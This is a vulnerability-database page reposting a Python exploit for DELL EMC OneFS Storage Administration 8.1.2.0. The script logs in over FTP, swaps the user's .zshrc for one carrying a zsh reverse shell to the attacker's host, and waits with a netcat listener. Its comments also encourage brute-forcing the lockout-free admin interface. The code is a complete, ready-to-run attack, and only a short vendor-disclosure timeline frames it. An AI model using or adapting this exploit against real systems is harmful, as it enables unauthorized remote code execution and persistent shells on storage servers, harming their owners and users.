Lucene search
K

DELL EMC OneFS Storage Administration 8.1.2.0 .zshrc Overwrite

🗓️ 11 Oct 2018 00:00:00Reported by wetw0rkType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 55 Views

Vulnerability in DELL EMC OneFS Storage Administration 8.1.2.0, allows unauthorized access and code execution via FTP service. Exploitable .zshrc file injection leads to arbitrary code execution.

Code
`#!/usr/bin/env python  
#  
# Exploit name : isilon-onefs-brute.py  
# Created date : 9/21/18  
# Submit Date : 10/10/18  
# Author : wetw0rk  
# Python version : 2.7  
# Brute Force Script: https://github.com/wetw0rk/Exploit-Development/blob/master/DELL%20EMC%20OneFS%20Storage%20Administration%20%3C%208.1.2.0/isilon-onefs-brute.py   
# Vendor Homepage : https://www.dellemc.com/en-us/storage/isilon/onefs-operating-system.htm  
# Software Link : https://downloads.emc.com/emc-com/usa/Isilon/EMC_Isilon_OneFS_8.1.2.0_Simulator.zip  
# Tested on : DELL EMC OneFS Storage Administration 8.1.2.0  
#  
# Greetz: Hima (thanks for helping me think of .bashrc), Fr13ndzSec, AbeSnowman, Berserk, Neil  
#  
# [------------ Timeline ------------]  
# 9/21/18 - Contacted Dell PSIRT  
# 9/25/18 - Sent POC code  
# 10/9/18 - Responded with "not considered a vulnerability"  
#  
# Description :  
# To exploit this vulnerability first you must gain access to the administrative  
# interface on 8080 (note no lockouts so you can bruteforce E Z). Once in enable  
# FTP like so:  
# -> Protocols -> FTP Settings -> Enable the service and transfers -> With that done, exploit!  
#  
# Since you're dropped in the user home directory and not a secluded FTP directory  
# you can inject into .zshrc, however as dell stated you can access other files on  
# the system as well....  
#  
  
import os  
import sys  
import socket  
import threading  
  
RED = "\033[1m\033[31m[-]\033[0m"  
BLUE = "\033[1m\033[94m[*]\033[0m"  
GREEN = "\033[1m\033[92m[+]\033[0m"  
  
def background_server(lhost):  
global check  
  
fd = open(".zshrc", 'w')  
  
host = "0.0.0.0"  
port = 50121  
sock = socket.socket(  
socket.AF_INET,  
socket.SOCK_STREAM  
)  
sock.bind((host, port))  
sock.listen(5)  
  
print("%s listening on %s:%s" % (BLUE, host,port))  
while True:  
conn, addr = sock.accept()  
if check != 1:  
zshrc_file = conn.recv(4096)  
print("%s generating .zshrc payload" % BLUE)  
fd.write(zshrc_file)  
# msfvenom -a cmd --platform unix -p cmd/unix/reverse_zsh LHOST=192.168.245.136 LPORT=443 -f raw  
fd.write("zsh -c 'zmodload zsh/net/tcp && ztcp %s 443 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' &\n" % lhost)  
fd.close()  
else:  
with open('.zshrc', 'r') as myfile:  
data=myfile.read()  
conn.send(data)  
  
try:  
rhost = sys.argv[1]  
rport = int(sys.argv[2])  
lhost = sys.argv[3]  
username = sys.argv[4]  
password = sys.argv[5]  
except:  
print("Usage: ./%s <rhost> <rport> <lhost> <username> <password>" % sys.argv[0])  
print("Example: ./%s 192.168.245.3 21 192.168.245.136 admin admin" % sys.argv[0])  
exit(0)  
  
check = 0 # start a background server for download+uploads  
server_thread = threading.Thread(target=background_server, args=(lhost,))  
server_thread.start()  
  
# create a socket for the client sending the commands  
print("%s connecting to %s:%s" % (BLUE, rhost, rport))  
csock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
csock.connect((rhost, rport))  
csock.recv(4096)  
print("%s performing login to OneFS using %s:%s" % (BLUE, username, password))  
csock.send("USER %s\r\n" % username)  
csock.recv(4096)  
csock.send("PASS %s\r\n" % password)  
csock.recv(4096)  
print("%s login was successful downloading .zshrc" % GREEN)  
csock.send("PORT %s,195,201\r\n" % lhost.replace(".", ",")) # have port on 50121  
csock.recv(4096)  
csock.send("RETR .zshrc\r\n")  
csock.recv(4096)  
csock.send("RNFR .zshrc\r\n")  
csock.recv(4096)  
print("%s renaming remote .zshrc to .backup" % GREEN)  
csock.send("RNTO .backup\r\n")  
csock.recv(4096)  
check = 1  
print("%s uploading payload to target host" % GREEN)  
csock.send("PORT %s,195,201\r\n" % lhost.replace(".", ",")) # have port on 50121  
csock.recv(4096)  
csock.send("TYPE I\r\n")  
csock.recv(4096)  
csock.send("STOR .zshrc\r\n")  
print("%s exploitation complete waiting for %s to login" % (GREEN, username))  
os.system("nc -lvp 443")  
csock.close()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation